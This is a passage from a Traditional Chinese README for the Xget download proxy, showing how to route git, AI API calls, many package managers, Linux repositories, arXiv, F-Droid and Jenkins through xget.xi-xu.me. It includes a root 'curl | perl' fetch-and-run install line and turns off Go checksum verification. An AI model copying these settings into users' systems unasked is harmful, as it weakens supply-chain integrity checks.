`https://xget.xi-xu.me/ip/openrouter/...` | | Poe | `poe` | `https://api.poe.com/...` | `https://xget.xi-xu.me/ip/poe/...` | | Featherless AI | `featherlessai` | `https://api.featherless.ai/...` | `https://xget.xi-xu.me/ip/featherlessai/...` | | Hyperbolic | `hyperbolic` | `https://api.hyperbolic.xyz/...` | `https://xget.xi-xu.me/ip/hyperbolic/...` | ```url # OpenAI API 原始 URL https://api.openai.com/v1/chat/completions # 轉換後(新增 ip/openai 前綴) https://xget.xi-xu.me/ip/openai/v1/chat/completions # Claude API 原始 URL https://api.anthropic.com/v1/messages # 轉換後(新增 ip/anthropic 前綴) https://xget.xi-xu.me/ip/anthropic/v1/messages # Gemini API 原始 URL https://generativelanguage.googleapis.com/v1beta/models/gemini-2.5-flash:generateContent # 轉換後(新增 ip/gemini 前綴) https://xget.xi-xu.me/ip/gemini/v1beta/models/gemini-2.5-flash:generateContent # HF Inference API 原始 URL https://router.huggingface.co/hf-inference/models/openai/whisper-large-v3 # 轉換後(新增 ip/huggingface 前綴) https://xget.xi-xu.me/ip/huggingface/hf-inference/models/openai/whisper-large-v3 ``` 應用場景見 [AI 推理 API 加速](#ai-推理-api-加速)。 ## 🎯 應用場景 ### Git 操作與配置 #### Git 操作 ```bash # 克隆儲存庫 git clone https://xget.xi-xu.me/gh/microsoft/vscode.git # 克隆指定分支 git clone -b main https://xget.xi-xu.me/gh/facebook/react.git # 淺克隆(僅最新提交) git clone --depth 1 https://xget.xi-xu.me/gh/torvalds/linux.git # 克隆 GitLab 儲存庫 git clone https://xget.xi-xu.me/gl/gitlab-org/gitlab.git # 克隆 Gitea 儲存庫 git clone https://xget.xi-xu.me/gitea/gitea/gitea.git # 克隆 Codeberg 儲存庫 git clone https://xget.xi-xu.me/codeberg/forgejo/forgejo.git # 克隆 SourceForge 儲存庫 git clone https://xget.xi-xu.me/sf/projects/mingw-w64/code.git # 克隆 AOSP 儲存庫 git clone https://xget.xi-xu.me/aosp/platform/frameworks/base.git # 新增遠端儲存庫 git remote add upstream https://xget.xi-xu.me/gh/[擁有者]/[儲存庫].git # 拉取更新 git pull https://xget.xi-xu.me/gh/microsoft/vscode.git main # 子模組遞迴克隆 git clone --recursive https://xget.xi-xu.me/gh/[使用者名稱]/[帶子模組的儲存庫].git ``` #### Git 全域加速配置 ```bash # 為特定網域配置 Git 使用 Xget git config --global url."https://xget.xi-xu.me/gh/".insteadOf "https://github.com/" git config --global url."https://xget.xi-xu.me/gl/".insteadOf "https://gitlab.com/" git config --global url."https://xget.xi-xu.me/gitea/".insteadOf "https://gitea.com/" git config --global url."https://xget.xi-xu.me/codeberg/".insteadOf "https://codeberg.org/" git config --global url."https://xget.xi-xu.me/sf/".insteadOf "https://sourceforge.net/" git config --global url."https://xget.xi-xu.me/aosp/".insteadOf "https://android.googlesource.com/" # 驗證配置 git config --global --get-regexp url # 現在所有相關平台的 git clone 都會自動使用 Xget git clone https://github.com/microsoft/vscode.git # 自動轉換為 Xget URL git clone https://gitlab.com/gitlab-org/gitlab.git # 自動轉換為 Xget URL git clone https://codeberg.org/forgejo/forgejo.git # 自動轉換為 Xget URL git clone https://android.googlesource.com/platform/frameworks/base.git # 自動轉換為 Xget URL ``` ### 主流下載工具整合 #### wget 下載 ```bash # 下載單一檔案 wget https://xget.xi-xu.me/gh/microsoft/vscode/archive/refs/heads/main.zip # 斷點續傳 wget -c https://xget.xi-xu.me/hf/microsoft/DialoGPT-large/resolve/main/pytorch_model.bin # 批次下載 wget -i urls.txt # urls.txt 包含多個 Xget URL ``` #### cURL 下載 ```bash # 基本下載 curl -L -O https://xget.xi-xu.me/gh/golang/go/archive/refs/tags/go1.22.0.tar.gz # 顯示進度列 curl -L --progress-bar -o model.bin https://xget.xi-xu.me/hf/openai/whisper-large-v3/resolve/main/pytorch_model.bin # 設定 User-Agent curl -L -H "User-Agent: MyApp/1.0" https://xget.xi-xu.me/gl/gitlab-org/gitlab-runner/-/archive/main/gitlab-runner-main.zip ``` #### aria2 多執行緒下載 ```bash # 多執行緒下載大檔案 aria2c -x 16 -s 16 https://xget.xi-xu.me/hf/microsoft/DialoGPT-large/resolve/main/pytorch_model.bin # 斷點續傳 aria2c -c https://xget.xi-xu.me/gh/microsoft/vscode/archive/refs/heads/main.zip # 批次下載設定檔 aria2c -i download-list.txt # 包含多個 Xget URL 的檔案 ``` ### Hugging Face 鏡像 ```python import os from transformers import AutoTokenizer, AutoModelForCausalLM # 設定環境變數,讓 transformers 庫自動使用 Xget 鏡像 os.environ['HF_ENDPOINT'] = 'https://xget.xi-xu.me/hf' # 定義模型名稱 model_name = 'microsoft/DialoGPT-medium' print(f"正在從鏡像下載模型: {model_name}") # 使用 AutoModelForCausalLM 來載入對話生成模型 # 由於上面設定了環境變數,這裡無需新增任何額外參數 tokenizer = AutoTokenizer.from_pretrained(model_name) model = AutoModelForCausalLM.from_pretrained(model_name) print("模型和分詞器載入成功!") # 您現在可以使用 tokenizer 和 model 了 # 例如: # new_user_input_ids = tokenizer.encode("Hello, how are you?", return_tensors='pt') # chat_history_ids = model.generate(new_user_input_ids, max_length=1000, pad_token_id=tokenizer.eos_token_id) # print(tokenizer.decode(chat_history_ids[:, new_user_input_ids.shape[-1]:][0], skip_special_tokens=True)) ``` ### Civitai AI 模型平台 ```python import requests # 設定 API 基礎 URL 使用 Xget base_url = "https://xget.xi-xu.me/civitai" # 獲取模型資訊 def get_model_info(model_id): """獲取 Civitai 模型資訊""" url = f"{base_url}/api/v1/models/{model_id}" response = requests.get(url) return response.json() # 下載模型 def download_model(model_version_id, output_path): """下載 Civitai 模型檔案""" download_url = f"{base_url}/api/download/models/{model_version_id}" print(f"正在下載模型版本 {model_version_id}...") response = requests.get(download_url, stream=True) response.raise_for_status() with open(output_path, 'wb') as f: for chunk in response.iter_content(chunk_size=8192): f.write(chunk) print(f"模型已下載到: {output_path}") # 使用範例 model_id = 7240 # 範例模型 ID model_info = get_model_info(model_id) print(f"模型名稱: {model_info['name']}") # 下載第一個模型版本 if model_info['modelVersions']: version_id = model_info['modelVersions'][0]['id'] download_model(version_id, f"model_{version_id}.safetensors") ``` ### npm 軟體包管理加速 #### 配置 npm 使用 Xget 鏡像 ```bash # 臨時使用 Xget 鏡像 npm install --registry https://xget.xi-xu.me/npm/ # 全域配置 npm 鏡像 npm config set registry https://xget.xi-xu.me/npm/ # 驗證配置 npm config get registry ``` #### 配置 Bun 使用 Xget 鏡像 ```toml # bunfig.toml(專案級)或 ~/.bunfig.toml(全域) [install] registry = "https://xget.xi-xu.me/npm/" ``` ```bash # 使用 Bun 安裝依賴項 bun install # Bun 也支援 .npmrc,可直接重用既有的 npm 鏡像配置 echo "registry=https://xget.xi-xu.me/npm/" > .npmrc bun install ``` #### 在專案中使用(npm / Bun) ```bash # 在 .npmrc 檔案中配置專案級鏡像(npm / Bun 可重用) echo "registry=https://xget.xi-xu.me/npm/" > .npmrc # 使用 npm 安裝依賴項 npm install # 使用 Bun 安裝依賴項 bun install ``` ### Python 軟體包管理加速 #### 配置 pip 使用 Xget 鏡像 ```bash # 臨時使用 Xget 鏡像 pip install requests -i https://xget.xi-xu.me/pypi/simple/ # 全域配置 pip 鏡像 pip config set global.index-url https://xget.xi-xu.me/pypi/simple/ pip config set global.trusted-host xget.xi-xu.me # 驗證配置 pip config list ``` #### 在專案中使用 ```bash # 建立 pip.conf 檔案(Linux/macOS) mkdir -p ~/.pip cat > ~/.pip/pip.conf << EOF [global] index-url = https://xget.xi-xu.me/pypi/simple/ trusted-host = xget.xi-xu.me EOF # 或在專案根目錄建立 pip.conf cat > pip.conf << EOF [global] index-url = https://xget.xi-xu.me/pypi/simple/ trusted-host = xget.xi-xu.me EOF # 使用設定檔安裝 pip install -r requirements.txt --config-file pip.conf ``` #### 在 requirements.txt 中指定鏡像 ```txt # requirements.txt --index-url https://xget.xi-xu.me/pypi/simple/ --trusted-host xget.xi-xu.me requests>=2.25.0 numpy>=1.21.0 pandas>=1.3.0 matplotlib>=3.4.0 ``` ### conda 軟體包管理加速 #### 配置 conda 使用 Xget 鏡像 ```bash # 配置預設頻道鏡像 conda config --add default_channels https://xget.xi-xu.me/conda/pkgs/msys2 conda config --add default_channels https://xget.xi-xu.me/conda/pkgs/r conda config --add default_channels https://xget.xi-xu.me/conda/pkgs/main # 配置所有社群頻道鏡像(推薦) conda config --set channel_alias https://xget.xi-xu.me/conda/community # 或配置特定社群頻道 conda config --add channels https://xget.xi-xu.me/conda/community/conda-forge conda config --add channels https://xget.xi-xu.me/conda/community/bioconda # 設定頻道優先順序 conda config --set channel_priority strict # 驗證配置 conda config --show ``` #### 在 .condarc 中配置 .condarc 檔案可以放在使用者主目錄(`~/.condarc`)或專案根目錄下: ```yaml default_channels: - https://xget.xi-xu.me/conda/pkgs/main - https://xget.xi-xu.me/conda/pkgs/r - https://xget.xi-xu.me/conda/pkgs/msys2 channel_alias: https://xget.xi-xu.me/conda/community channel_priority: strict show_channel_urls: true ``` #### 使用環境檔案 環境檔案中可以直接指定完整的鏡像 URL: ```yaml # environment.yml name: myproject channels: - https://xget.xi-xu.me/conda/pkgs/main - https://xget.xi-xu.me/conda/pkgs/r - https://xget.xi-xu.me/conda/community/bioconda - https://xget.xi-xu.me/conda/community/conda-forge dependencies: - python=3.11 - numpy>=1.24.0 - pandas>=2.0.0 - matplotlib>=3.7.0 - scipy>=1.10.0 - pip - pip: - requests>=2.28.0 ``` ```bash # 使用環境檔案建立環境 conda env create -f environment.yml # 更新環境 conda env update -f environment.yml ``` ### Maven 軟體包管理加速 #### 配置 Maven 使用 Xget 鏡像 ```xml xget-maven-central central Xget Maven Central Mirror https://xget.xi-xu.me/maven/maven2 ``` #### 在專案中使用 ```xml xget-maven-central Xget Maven Central https://xget.xi-xu.me/maven/maven2 xget-maven-central Xget Maven Central https://xget.xi-xu.me/maven/maven2 ``` ```bash # 使用命令列指定鏡像 mvn clean install -Dmaven.repo.remote=https://xget.xi-xu.me/maven/maven2 # 下載特定依賴項 mvn dependency:get -Dartifact=org.springframework:spring-core:5.3.21 \ -DremoteRepositories=https://xget.xi-xu.me/maven/maven2 ``` ### Apache 軟體下載加速 #### 使用 Xget 下載 Apache 軟體 ```bash # 下載 Apache Kafka wget https://xget.xi-xu.me/apache/kafka/3.6.1/kafka_2.13-3.6.1.tgz # 下載 Apache Maven curl -L -O https://xget.xi-xu.me/apache/maven/maven-3/3.9.5/binaries/apache-maven-3.9.5-bin.tar.gz # 下載 Apache Spark aria2c https://xget.xi-xu.me/apache/spark/spark-3.5.0/spark-3.5.0-bin-hadoop3.tgz # 下載 Apache Hadoop wget https://xget.xi-xu.me/apache/hadoop/common/hadoop-3.3.6/hadoop-3.3.6.tar.gz # 下載 Apache Flink curl -L -O https://xget.xi-xu.me/apache/flink/flink-1.18.1/flink-1.18.1-bin-scala_2.12.tgz ``` #### 常用 Apache 軟體下載 ```bash # 大數據相關 wget https://xget.xi-xu.me/apache/hive/hive-3.1.3/apache-hive-3.1.3-bin.tar.gz wget https://xget.xi-xu.me/apache/hbase/2.5.7/hbase-2.5.7-bin.tar.gz wget https://xget.xi-xu.me/apache/zookeeper/zookeeper-3.8.4/apache-zookeeper-3.8.4-bin.tar.gz # Web 伺服器 wget https://xget.xi-xu.me/apache/httpd/httpd-2.4.59.tar.gz wget https://xget.xi-xu.me/apache/tomcat/tomcat-10/v10.1.19/bin/apache-tomcat-10.1.19.tar.gz # 開發工具 wget https://xget.xi-xu.me/apache/ant/1.10.14/apache-ant-1.10.14-bin.tar.gz wget https://xget.xi-xu.me/apache/netbeans/netbeans/20/netbeans-20-bin.zip ``` ### Gradle 軟體包管理加速 #### 配置 Gradle 使用 Xget 鏡像 ```gradle // 在 build.gradle 中配置 Gradle 鏡像 repositories { maven { url 'https://xget.xi-xu.me/maven/maven2' } gradlePluginPortal { url 'https://xget.xi-xu.me/gradle/m2' } } // 配置外掛程式儲存庫 pluginManagement { repositories { maven { url 'https://xget.xi-xu.me/gradle/m2' } gradlePluginPortal() } } ``` #### 全域配置 ```gradle // 在 ~/.gradle/init.gradle 中配置全域鏡像 allprojects { repositories { maven { url 'https://xget.xi-xu.me/maven/maven2' } } } settingsEvaluated { settings -> settings.pluginManagement { repositories { maven { url 'https://xget.xi-xu.me/gradle/m2' } gradlePluginPortal() } } } ``` ```bash # 使用命令列指定鏡像 gradle build -Dmaven.repo.remote=https://xget.xi-xu.me/maven/maven2 # 重新整理依賴項 gradle build --refresh-dependencies ``` ### Homebrew 軟體包管理加速 #### 配置 Homebrew 使用 Xget 鏡像 ```bash # 設定 Homebrew 環境變數使用 Xget 鏡像 export HOMEBREW_BREW_GIT_REMOTE="https://xget.xi-xu.me/homebrew/brew.git" export HOMEBREW_CORE_GIT_REMOTE="https://xget.xi-xu.me/homebrew/homebrew-core.git" export HOMEBREW_API_DOMAIN="https://xget.xi-xu.me/homebrew/api" export HOMEBREW_BOTTLE_DOMAIN="https://xget.xi-xu.me/homebrew/bottles" # 更新 Homebrew brew update ``` #### 長期配置 ```bash # 為 bash 使用者新增到 ~/.bash_profile echo 'export HOMEBREW_BREW_GIT_REMOTE="https://xget.xi-xu.me/homebrew/brew.git"' >> ~/.bash_profile echo 'export HOMEBREW_CORE_GIT_REMOTE="https://xget.xi-xu.me/homebrew/homebrew-core.git"' >> ~/.bash_profile echo 'export HOMEBREW_API_DOMAIN="https://xget.xi-xu.me/homebrew/api"' >> ~/.bash_profile echo 'export HOMEBREW_BOTTLE_DOMAIN="https://xget.xi-xu.me/homebrew/bottles"' >> ~/.bash_profile # 為 zsh 使用者新增到 ~/.zprofile echo 'export HOMEBREW_BREW_GIT_REMOTE="https://xget.xi-xu.me/homebrew/brew.git"' >> ~/.zprofile echo 'export HOMEBREW_CORE_GIT_REMOTE="https://xget.xi-xu.me/homebrew/homebrew-core.git"' >> ~/.zprofile echo 'export HOMEBREW_API_DOMAIN="https://xget.xi-xu.me/homebrew/api"' >> ~/.zprofile echo 'export HOMEBREW_BOTTLE_DOMAIN="https://xget.xi-xu.me/homebrew/bottles"' >> ~/.zprofile ``` #### 在專案中使用 ```bash # 安裝軟體包 brew install git # 搜尋軟體包 brew search python # 更新軟體包 brew upgrade # 檢視已安裝軟體包 brew list ``` #### 驗證鏡像配置 ```bash # 檢查 Homebrew 配置 brew config # 檢視環境變數 echo $HOMEBREW_API_DOMAIN echo $HOMEBREW_BOTTLE_DOMAIN ``` ### Ruby 軟體包管理加速 #### 配置 RubyGems 使用 Xget 鏡像 ```bash # 臨時使用 Xget 鏡像 gem install rails --source https://xget.xi-xu.me/rubygems/ # 全域配置 RubyGems 鏡像 gem sources --add https://xget.xi-xu.me/rubygems/ gem sources --remove https://rubygems.org/ # 驗證配置 gem sources -l ``` #### 在專案中使用 ```ruby # 在 Gemfile 中配置專案級鏡像 source 'https://xget.xi-xu.me/rubygems/' gem 'rails', '~> 7.0.0' gem 'pg', '~> 1.1' gem 'puma', '~> 5.0' ``` ```bash # 使用 bundle 安裝 bundle config mirror.https://rubygems.org https://xget.xi-xu.me/rubygems/ bundle install ``` ### R 軟體包管理加速 #### 配置 R 使用 Xget CRAN 鏡像 ```r # 在 R 中臨時使用 Xget CRAN 鏡像 install.packages("ggplot2", repos = "https://xget.xi-xu.me/cran/") # 全域配置 CRAN 鏡像 options(repos = c(CRAN = "https://xget.xi-xu.me/cran/")) # 驗證配置 getOption("repos") ``` #### 在 .Rprofile 中配置 ```r # 在使用者主目錄的 .Rprofile 檔案中配置全域鏡像 options(repos = c( CRAN = "https://xget.xi-xu.me/cran/", BioCsoft = "https://bioconductor.org/packages/release/bioc", BioCann = "https://bioconductor.org/packages/release/data/annotation", BioCexp = "https://bioconductor.org/packages/release/data/experiment" )) # 設定下載方法 options(download.file.method = "libcurl") ``` #### 在專案中使用 ```r # 在專案的 renv.lock 或指令碼中指定鏡像 renv::init() renv::settings$repos.override(c(CRAN = "https://xget.xi-xu.me/cran/")) # 安裝包 install.packages(c("dplyr", "ggplot2", "tidyr")) # 或使用 pak 軟體包管理器 pak::pkg_install("tidyverse", repos = "https://xget.xi-xu.me/cran/") ``` ```bash # 在命令列中使用 R 指令碼安裝包 Rscript -e "options(repos = c(CRAN = 'https://xget.xi-xu.me/cran/')); install.packages('ggplot2')" # 批次安裝包 Rscript -e " options(repos = c(CRAN = 'https://xget.xi-xu.me/cran/')) packages <- c('dplyr', 'ggplot2', 'tidyr', 'readr') install.packages(packages) " ``` ### Perl 軟體包管理加速 #### 配置 CPAN 使用 Xget 鏡像 ```bash # 配置 CPAN 使用 Xget 鏡像 cpan o conf urllist push https://xget.xi-xu.me/cpan/ cpan o conf commit # 或者直接編輯設定檔 ~/.cpan/CPAN/MyConfig.pm # 新增: # 'urllist' => [q[https://xget.xi-xu.me/cpan/]], ``` #### 使用 cpanm 安裝模組 ```bash # 安裝 cpanm(如果沒有) curl -L https://cpanmin.us | perl - --sudo App::cpanminus # 使用 Xget 鏡像安裝模組 cpanm --mirror https://xget.xi-xu.me/cpan/ DBI cpanm --mirror https://xget.xi-xu.me/cpan/ Mojolicious # 從 Makefile.PL 安裝依賴項 cpanm --mirror https://xget.xi-xu.me/cpan/ --installdeps . ``` #### 在專案中使用 ```perl # 在 cpanfile 中列出依賴項 requires 'DBI'; requires 'Mojolicious'; requires 'JSON'; # 然後使用 Xget 鏡像安裝 cpanm --mirror https://xget.xi-xu.me/cpan/ --installdeps . ``` ### TeX/LaTeX 軟體包管理加速 #### 配置 TeX Live 使用 Xget CTAN 鏡像 ```bash # 配置 tlmgr 使用 Xget CTAN 鏡像 tlmgr option repository https://xget.xi-xu.me/ctan/systems/texlive/tlnet # 更新軟體包資料庫 tlmgr update --self --all # 安裝軟體包 tlmgr install beamer tlmgr install tikz ``` #### 配置 MiKTeX 使用 Xget 鏡像 ```bash # Windows MiKTeX 配置 mpm --set-repository=https://xget.xi-xu.me/ctan/systems/win32/miktex # 更新軟體包資料庫 mpm --update-db # 安裝軟體包 mpm --install=beamer mpm --install=pgf ``` #### 在專案中使用 ```bash # LaTeX 文件編譯時自動安裝缺失軟體包 pdflatex --shell-escape document.tex # 或手動安裝特定軟體包 tlmgr install caption tlmgr install subcaption tlmgr install algorithm2e ``` ### Go 模組加速 #### 配置 Go 使用 Xget 代理 ```bash # 配置 Go 模組代理 export GOPROXY=https://xget.xi-xu.me/golang,direct export GOSUMDB=off # 或者永久配置 go env -w GOPROXY=https://xget.xi-xu.me/golang,direct go env -w GOSUMDB=off # 驗證配置 go env GOPROXY ``` #### 在專案中使用 ```bash # 下載依賴項 go mod download # 更新依賴項 go get -u ./... # 清理模組快取 go clean -modcache ``` ### NuGet 軟體包管理加速 #### 配置 NuGet 使用 Xget 鏡像 ```bash # 新增 Xget 軟體包來源 dotnet nuget add source https://xget.xi-xu.me/nuget/v3/index.json -n xget # 列出軟體包來源 dotnet nuget list source # 在專案中使用 dotnet restore --source https://xget.xi-xu.me/nuget/v3/index.json ``` #### 在 NuGet.Config 中配置 ```xml ``` ### Rust 軟體包管理加速 #### 配置 Cargo 使用 Xget 鏡像 ```bash # 配置 Cargo 使用 Xget 鏡像(在 ~/.cargo/config.toml 中) mkdir -p ~/.cargo cat >> ~/.cargo/config.toml << EOF [source.crates-io] replace-with = "xget" [source.xget] registry = "https://xget.xi-xu.me/crates/" EOF # 驗證配置 cargo search serde ``` #### 在專案中使用 ```toml # 在 Cargo.toml 中可以正常使用依賴項 [dependencies] serde = "1.0" tokio = "1.0" reqwest = "0.11" ``` ```bash # 建置專案時會自動使用 Xget cargo build # 更新依賴項 cargo update # 新增新依賴項 cargo add clap ``` ### PHP 軟體包管理加速 #### 配置 Composer 使用 Xget 鏡像 ```bash # 全域配置 Composer 鏡像 composer config -g repo.packagist composer https://xget.xi-xu.me/packagist/ # 專案級配置 composer config repo.packagist composer https://xget.xi-xu.me/packagist/ # 驗證配置 composer config -l ``` #### 在 composer.json 中配置 ```json { "repositories": [ { "type": "composer", "url": "https://xget.xi-xu.me/packagist/" } ], "require": { "symfony/console": "^6.0", "guzzlehttp/guzzle": "^7.0" } } ``` ### Flathub 儲存庫鏡像 #### 配置 Flatpak / Flathub 使用 Xget 鏡像 ```bash # 如果之前從未加入過 Flathub,請先匯入官方描述檔, # 讓 Flatpak 信任 Flathub 的簽章金鑰。 flatpak remote-add --if-not-exists flathub \ https://dl.flathub.org/repo/flathub.flatpakrepo # 然後將現有的 Flathub 遠端儲存庫改寫到 Xget 鏡像 flatpak remote-modify flathub \ --url=https://xget.xi-xu.me/flathub/repo/ # 需要時恢復預設上游位址 flatpak remote-modify flathub \ --url=https://dl.flathub.org/repo/ ``` Xget 鏡像的是 Flathub 的 OSTree 儲存庫端點。依照目前 Flatpak 用戶端的實際行為,直接匯入鏡像 `.flatpakrepo` 描述檔,或直接新增鏡像儲存庫 URL,仍可能回退到上游 Flathub 位址,或因未匯入簽章金鑰而失敗,因此較可靠的做法是先加入官方 Flathub,再透過 `flatpak remote-modify ... --url=...` 改寫遠端位址。若你使用系統層級遠端儲存庫,請在相同命令前加上 `sudo`。 #### 支援的 Flathub 服務 ```url # OSTree 儲存庫中繼資料 https://xget.xi-xu.me/flathub/repo/config https://xget.xi-xu.me/flathub/repo/summary https://xget.xi-xu.me/flathub/repo/summary.sig https://xget.xi-xu.me/flathub/repo/summary.idx https://xget.xi-xu.me/flathub/repo/summaries/... # Flatpak 遠端儲存庫描述檔 https://xget.xi-xu.me/flathub/repo/flathub.flatpakrepo # 應用程式引用描述檔 https://xget.xi-xu.me/flathub/repo/appstream/[應用程式 ID].flatpakref # 儲存庫物件與靜態增量 https://xget.xi-xu.me/flathub/repo/objects/... https://xget.xi-xu.me/flathub/repo/deltas/... https://xget.xi-xu.me/flathub/repo/delta-indexes/... ``` #### 使用範例 ```bash # 確認儲存下來的遠端儲存庫 URL 已指向 Xget flatpak remotes --show-details # 檢視遠端儲存庫內容 flatpak remote-ls flathub # 在改寫 Flathub 遠端儲存庫後安裝應用程式 flatpak install flathub org.gnome.gedit # 直接透過重寫後的 .flatpakref 安裝 flatpak install --from \ https://xget.xi-xu.me/flathub/repo/appstream/org.gnome.gedit.flatpakref # 疑難排解時輸出 libcurl HTTP 偵錯資訊 OSTREE_DEBUG_HTTP=1 flatpak remote-ls flathub # 更新已安裝的應用程式與執行時 flatpak update ``` ### Linux 發行版加速 #### Debian/Ubuntu APT 配置 ```bash # 備份原始軟體源列表 sudo cp /etc/apt/sources.list /etc/apt/sources.list.backup # 配置 Debian 鏡像 echo "deb https://xget.xi-xu.me/debian/debian bookworm main" | sudo tee /etc/apt/sources.list echo "deb https://xget.xi-xu.me/debian/debian-security bookworm-security main" | sudo tee -a /etc/apt/sources.list # 配置 Ubuntu 鏡像 echo "deb https://xget.xi-xu.me/ubuntu/ubuntu jammy main restricted universe multiverse" | sudo tee /etc/apt/sources.list echo "deb https://xget.xi-xu.me/ubuntu/ubuntu jammy-updates main restricted universe multiverse" | sudo tee -a /etc/apt/sources.list # 更新軟體包列表 sudo apt update ``` #### Fedora DNF 配置 ```bash # 配置 Fedora 鏡像 sudo sed -i 's|^metalink=|#metalink=|g' /etc/yum.repos.d/fedora*.repo sudo sed -i 's|^#baseurl=http://download.example/pub/fedora/linux|baseurl=https://xget.xi-xu.me/fedora/pub/fedora/linux|g' /etc/yum.repos.d/fedora*.repo # 更新軟體包快取 sudo dnf makecache ``` #### Rocky Linux DNF 配置 ```bash # 配置 Rocky Linux 鏡像 sudo sed -i 's|^mirrorlist=|#mirrorlist=|g' /etc/yum.repos.d/rocky*.repo sudo sed -i 's|^#baseurl=http://dl.rockylinux.org|baseurl=https://xget.xi-xu.me/rocky|g' /etc/yum.repos.d/rocky*.repo # 更新軟體包快取 sudo dnf makecache ``` #### openSUSE Zypper 配置 ```bash # 配置 openSUSE Leap 鏡像 sudo zypper mr -d repo-oss sudo zypper ar -f https://xget.xi-xu.me/opensuse/distribution/leap/15.5/repo/oss/ repo-oss-xget # 配置 openSUSE Tumbleweed 鏡像 sudo zypper mr -d repo-oss sudo zypper ar -f https://xget.xi-xu.me/opensuse/tumbleweed/repo/oss/ repo-oss-xget # 重新整理軟體源 sudo zypper refresh # 驗證配置 sudo zypper lr -u ``` #### Arch Linux Pacman 配置 ```bash # 備份原始鏡像列表 sudo cp /etc/pacman.d/mirrorlist /etc/pacman.d/mirrorlist.backup # 配置 Arch Linux 鏡像 echo 'Server = https://xget.xi-xu.me/arch/$repo/os/$arch' | sudo tee /etc/pacman.d/mirrorlist # 更新軟體包資料庫 sudo pacman -Sy ``` ### 學術資源加速 #### arXiv 論文下載 ```bash # 下載 arXiv 論文 PDF wget https://xget.xi-xu.me/arxiv/pdf/2301.07041.pdf # 下載論文原始碼 curl -L -O https://xget.xi-xu.me/arxiv/e-print/2301.07041 # 批次下載多篇論文 for id in 2301.07041 2302.13971 2303.08774; do wget https://xget.xi-xu.me/arxiv/pdf/${id}.pdf done ``` #### 在學術工具中使用 ```python # 在 Python 中使用 arXiv 加速下載 import requests def download_arxiv_paper(arxiv_id, output_path): url = f"https://xget.xi-xu.me/arxiv/pdf/{arxiv_id}.pdf" response = requests.get(url) if response.status_code == 200: with open(output_path, 'wb') as f: f.write(response.content) print(f"Downloaded {arxiv_id} to {output_path}") else: print(f"Failed to download {arxiv_id}") # 下載論文 download_arxiv_paper("2301.07041", "attention_is_all_you_need.pdf") ``` ### F-Droid 儲存庫鏡像 #### 配置 F-Droid 用戶端使用 Xget 鏡像 1. 在 F-Droid 應用程式中進入**設定** → **儲存庫** 2. 點擊 **+** 後輸入儲存庫 URL:`https://xget.xi-xu.me/fdroid/repo` 3. 點擊**新增**後再點擊**新增鏡像** #### 支援的 F-Droid 服務 ```url # F-Droid 應用程式 APK 下載 https://xget.xi-xu.me/fdroid/repo/[軟體包名]_[版本號].apk # F-Droid 儲存庫索引 https://xget.xi-xu.me/fdroid/repo/index-v1.jar # F-Droid 應用程式圖示 https://xget.xi-xu.me/fdroid/repo/icons-640/[軟體包名].[版本號].png # F-Droid API 介面 https://xget.xi-xu.me/fdroid/api/v1/packages/[軟體包名] ``` #### 使用範例 ```bash # 直接下載 F-Droid 用戶端 APK wget https://xget.xi-xu.me/fdroid/repo/org.fdroid.fdroid_1016050.apk # 下載其他開源應用程式 curl -L -O https://xget.xi-xu.me/fdroid/repo/org.mozilla.fennec_fdroid_1014000.apk # 獲取應用程式資訊 curl https://xget.xi-xu.me/fdroid/api/v1/packages/org.fdroid.fdroid ``` #### 批次應用程式管理 ```bash # 建立應用程式下載指令碼 cat > download_fdroid_apps.sh << 'EOF' #!/bin/bash # 定義要下載的應用程式列表 apps=( "org.fdroid.fdroid_1016050.apk" "org.mozilla.fennec_fdroid_1014000.apk" "com.termux_1180.apk" "org.videolan.vlc_13050399.apk" ) # 建立下載目錄 mkdir -p fdroid_apps # 批次下載應用程式 for app in "${apps[@]}"; do echo "正在下載: $app" wget -P fdroid_apps "https://xget.xi-xu.me/fdroid/repo/$app" done echo "所有應用程式下載完成!" EOF chmod +x download_fdroid_apps.sh ./download_fdroid_apps.sh ``` #### 開發者整合 對於 Android 開發者,可以在建置指令碼中整合 F-Droid 鏡像: ```gradle // 在 build.gradle 中配置 F-Droid 依賴項檢查 task checkFDroidAvailability { doLast { def fdroidUrl = "https://xget.xi-xu.me/fdroid/api/v1/packages/${project.name}" try { def connection = new URL(fdroidUrl).openConnection() connection.requestMethod = 'GET' def responseCode = connection.responseCode if (responseCode == 200) { println "應用程式在 F-Droid 上可用: $fdroidUrl" } } catch (Exception e) { println "檢查 F-Droid 可用性時出錯: ${e.message}" } } } ``` ### Jenkins 外掛程式下載 #### 使用 Xget 加速 Jenkins 外掛程式下載和更新 支援 Jenkins 更新中心和外掛程式下載,相容清華鏡像等國內鏡像源的配置方式。 #### Jenkins 更新中心配置 ##### 方法一:在 Jenkins Web 介面配置 1. 登入 Jenkins 管理介面 2. 進入 **Manage Jenkins** → **Plugins** → **Advanced** 3. 在 **Update Site** 部分,將 URL 更改為 `https://xget.xi-xu.me/jenkins/update-center.json` 4. 點擊 **Submit** 儲存配置 ##### 方法二:修改設定檔 ```bash # 在 Jenkins 伺服器上修改更新中心設定檔 # 預設位置:$JENKINS_HOME/hudson.model.UpdateCenter.xml sudo nano /var/lib/jenkins/hudson.model.UpdateCenter.xml # 將 URL 改為: # https://xget.xi-xu.me/jenkins/update-center.json # 重啟 Jenkins 服務 sudo systemctl restart jenkins ``` #### 支援的 Jenkins 服務 ```url # Jenkins 更新中心 JSON https://xget.xi-xu.me/jenkins/update-center.json # Jenkins 更新中心(實際 JSON 格式) https://xget.xi-xu.me/jenkins/update-center.actual.json # Jenkins 外掛程式下載 https://xget.xi-xu.me/jenkins/download/plugins/[外掛程式名]/[版本]/[外掛程式名].hpi # 實驗性外掛程式更新中心 https://xget.xi-xu.me/jenkins/experimental/update-center.json ``` #### 使用範例 ```bash # 下載 Maven 外掛程式 wget https://xget.xi-xu.me/jenkins/download/plugins/maven-plugin/3.27/maven-plugin.hpi # 下載 Git 外掛程式 curl -L -O https://xget.xi-xu.me/jenkins/download/plugins/git/5.2.1/git.hpi # 獲取更新中心資訊 curl https://xget.xi-xu.me/jenkins/update-center.json # 批次下載常用外掛程式 cat > download_jenkins_plugins.sh << 'EOF' #!/bin/bash # 定義要下載的外掛程式列表 plugins=( "git:5.2.1" "maven-plugin:3.27" "workflow-aggregator:596.v8c21c963d92d" "blueocean:1.27.8" "docker-workflow:563.vd5d2e5c4007f" ) # 建立外掛程式下載目錄 mkdir -p jenkins_plugins # 批次下載外掛程式 for plugin in "${plugins[@]}"; do name=$(echo $plugin | cut -d: -f1) version=$(echo $plugin | cut -d: -f2) echo 